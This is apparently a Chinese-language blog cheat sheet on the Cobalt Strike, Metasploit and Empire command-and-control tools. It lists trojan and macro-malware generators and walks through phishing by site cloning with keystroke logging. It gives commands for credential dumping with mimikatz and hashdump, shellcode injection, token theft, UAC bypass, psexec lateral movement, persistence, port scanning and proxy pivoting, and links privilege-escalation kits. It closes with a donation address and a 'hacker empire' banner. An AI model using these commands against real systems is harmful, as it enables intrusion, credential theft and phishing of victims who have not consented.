渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire |名称 |功能 | | ———— | ———— | |HTML Application |基于powershell的.hta格式的HTML Application木马,分为可执行文件、PowerShell、VBA三种方法 | |MS Office Macro |office宏病毒文件 | |Payload Generator |基于C、C#、COM Scriptlet、Java、Perl、PowerShell、Python、Ruby、VBA等语言的payload | |USB/CD AutoPlay |利用USB/CD自动播放运行的木马 | |Windows Dropper |捆绑器 | |Windows Executable |生成32位或64位的exe和基于服务的可执行文件、DLL等后门 | |Windows Executable(S) |生成可执行文件,支持powershell脚本,提供代理功能 |

Web Drive-by基于WEB的攻击模块
|名称   | 功能  |
| ------------ | ------------ |
|Manage   |管理开启的模块  |
|Clone Site   |克隆网站   |
|Host File   |提供文件下载   |
|Scripted Web Delivery   |基于Web的攻击Payload   |
|Signed Applet Attack   |运行java自签名的攻击模块   |
|Smart Applet Attack   |自动检测Java版本并利用已知的exploits攻击   |
|System Profiler   |信息探测模块   |
|Applications   |显示靶机应用信息   |
| ------------ | ------------ |
|Credentials   |显示密码(hashdump和mimikatz获取的)   |
|Downloads   |下载文件   |
|Event Log   |事件日志   |
|Keystrokes   |键盘记录   |
|Proxy Pivots   |代理信息   |
|Screenshots   |屏幕截图   |
|Script Console   |加载脚本   |
|Targets   |查看目标   |
|Web Log   | 查看web日志  |
创建powershell脚本
argue                     进程参数欺骗
blockdlls                  阻止子进程加载非Microsoft DLL
browserpivot              注入受害者浏览器进程
bypassuac                绕过UAC提升权限
cancel                    取消正在进行的下载
cd                        切换目录
checkin                   强制让被控端回连一次
clear                     清除beacon内部的任务队列
connect                   Connect to a Beacon peer over TCP
covertvpn                 部署Covert VPN客户端
cp                        复制文件
dcsync                    从DC中提取密码哈希
desktop                   远程桌面(VNC)
dllinject                   反射DLL注入进程
dllload                    使用LoadLibrary将DLL加载到进程中
download                 下载文件
downloads                列出正在进行的文件下载
drives                     列出目标盘符
elevate                    使用exp
execute                   在目标上执行程序(无输出)
execute-assembly         在目标上内存中执行本地.NET程序
exit                       终止beacon会话
getprivs                   Enable system privileges on current token
getsystem                 尝试获取SYSTEM权限
getuid                     获取用户ID
hashdump                  转储密码哈希值
help                       帮助
inject                      在注入进程生成会话
jobkill                     结束一个后台任务
jobs                       列出后台任务
kerberos_ccache_use       从ccache文件中导入票据应用于此会话
kerberos_ticket_purge     清除当前会话的票据
kerberos_ticket_use       Apply 从ticket文件中导入票据应用于此会话
keylogger                 键盘记录
kill                      结束进程
link                      Connect to a Beacon peer over a named pipe
logonpasswords            使用mimikatz转储凭据和哈希值
ls                        列出文件
make_token                创建令牌以传递凭据
mimikatz                  运行mimikatz
mkdir                     创建一个目录
mode dns                  使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)
mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http                 使用HTTP作为通信通道
mv                        移动文件
net                       net命令
note                      备注       
portscan                  进行端口扫描
powerpick                 通过Unmanaged PowerShell执行命令
powershell                通过powershell.exe执行命令
powershell-import         导入powershell脚本
ppid                      Set parent PID for spawned post-ex jobs
ps                        显示进程列表
psexec                    Use a service to spawn a session on a host
psexec_psh                Use PowerShell to spawn a session on a host
psinject                  在特定进程中执行PowerShell命令
pth                       使用Mimikatz进行传递哈希
pwd                       当前目录位置
reg                       Query the registry
rev2self                  恢复原始令牌
rm                        删除文件或文件夹
rportfwd                  端口转发
run                       在目标上执行程序(返回输出)
runas                     以其他用户权限执行程序
runasadmin                在高权限下执行程序
runu                      Execute a program under another PID
screenshot                屏幕截图
setenv                    设置环境变量
shell                     执行cmd命令
shinject                  将shellcode注入进程
shspawn                   启动一个进程并将shellcode注入其中
sleep                     设置睡眠延迟时间
socks                     启动SOCKS4代理
socks stop                停止SOCKS4
spawn                     Spawn a session 
spawnas                   Spawn a session as another user
spawnto                   Set executable to spawn processes into
spawnu                    Spawn a session under another PID
ssh                       使用ssh连接远程主机
ssh-key                   使用密钥连接远程主机
steal_token               从进程中窃取令牌
timestomp                 将一个文件的时间戳应用到另一个文件
unlink                    Disconnect from parent Beacon
upload                    上传文件
wdigest                   使用mimikatz转储明文凭据
winrm                     使用WinRM横向渗透
wmi                       使用WMI横向渗透
执行命令,在beacon模式下键入shell+命令
>dllload [pid] [c:\path\to\file.dll] DLL需在目标上 >kerberos_ticket_purge 清除票据 >kerberos_ccache_use [/path/to/file.ccache] 从ccache文件导入票据 >kerberos_ticket_use [/path/to/file.ccache] 从ticket文件导入票据 >kill pid 结束进程 >timestomp [fileA] [fileB] 修改文件时间戳 >getuid 获取当前用户 >steal_token [pid] 窃取进程ID >rev2self 恢复原始令牌 >powershell-import [/path/to/local/script.ps1] 导入PS模块 >shinject [pid] <x86|x64> [/path/to/my.bin] 向进程注入shellcode >socks port在指定端口开启代理 >socks stop停止代理 >rportfwd [bind port] [forward host] [forward port]开启端口转发
Attacks -> Web Drive-by -> System Profiler
Redirect url设置为目标站,登录成功会挑战到真实网站
钓鱼攻击->克隆网站
克隆地址写入要克隆的网站
Attack选择刚刚收集信息的网站
Web日志界面可记录键盘
攻击->钓鱼攻击管理->web服务管理中,可kill掉刚刚的任务

office宏

https://github.com/rsmudge/ElevateKit 提权脚本
>git clone https://github.com/rsmudge/ElevateKit.git
>git clone https://github.com/TheKingOfDuck/myScripts.git
Cobalt Strike -> Scripts 选择elevate.cna加载
提权的EXP列表就会增加已经加入的模块

浏览器劫持

beacon 设为交互模式
beacon> sleep 0
[Beacon] → Explore → Browser Pivot
选择打对勾的注入,会返回一个proxy,服务器IP+端口
>chromium --no-sandbox --ignore-certificate-errors --proxy-server=服务器IP:端口
https://github.com/DeEpinGh0st/Erebus
加载 cna 脚本
Cobalt Strike → Script Manager → Load → Erebus 中的 Main.cna
生成 Payload
Attacks → Packages→ Windows Executable(S)
Erebus → Persistence选择维持方法
扫描存活主机
>portscan ip/网段 ports端口 扫描协议(arp、icmp、none) 线程
>portscan 192.168.1.0/24 445 arp 100
或右键目标>扫描
点击工具栏的View–>Targets,查看端口探测后的存活主机。(Targets可自行添加)
Login->psexec进行hash传递登录

权限机中转

Pivoting ->Listener新建一条已有权限机器的监听器
选择 Attacks->Packages->Windows Executable(Stageless) 
上传生成的payload到已上线的目标机中,上传PsExec.exe
beacon>shell C:\psexec.exe -accepteula \\10.1.1.105 -u administrator -p xxx -d -c C:\beacon.exe

SMB_beacon

新建监听器(bind)windows/beacon_smb/bind_pipe
>psexec 机器名 ADMIN$/c$ bind

SSH login

>ssh 10.1.1.98:22 root admin
>socks 690
视图->代理信息-tunnel 直接复制,粘贴到MSF中

部署VPN

选择内网网卡
创建一个stager >usestager windows/shellcode 执行,会生成/tmp/launcher.bin CS 使用PS命令查找进程,进行进程注入(>shinject 进程id x64),选择launcher.bin即可

派生MSF

使用CS的外部监听器
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp
msf开启监听
cobalt strike会话主机上点击spwan,创建外部监听器,选择windows/foreign/reverse_tcp指定MSF监听的IP和端口即可

可添加的工具集

https://github.com/outflanknl/C2-Tool-Collection
添加机器账户
枚举域信息
AD密码喷射等
https://github.com/k8gege/Ladon
https://github.com/sry309/cobalt_strike_bot

转载请注明出处及链接


43Mn5eedzF425Co5es1wjAKFTwsqRYMPyYoFXTtd3ZQCBipFtRQuTYyNrUhYZM7taKNSZ9R1t5CGSczxASsUiscjRzXSVZe

捐赠记录➣➣➣➣ Anonymous
------------------------------
Cowsay: Metasploit
------------------------------
黑     ,__,
客     (oo)_____
帝     (__)  |☣|  )  \
国           |  |- - | |    *
------------------------------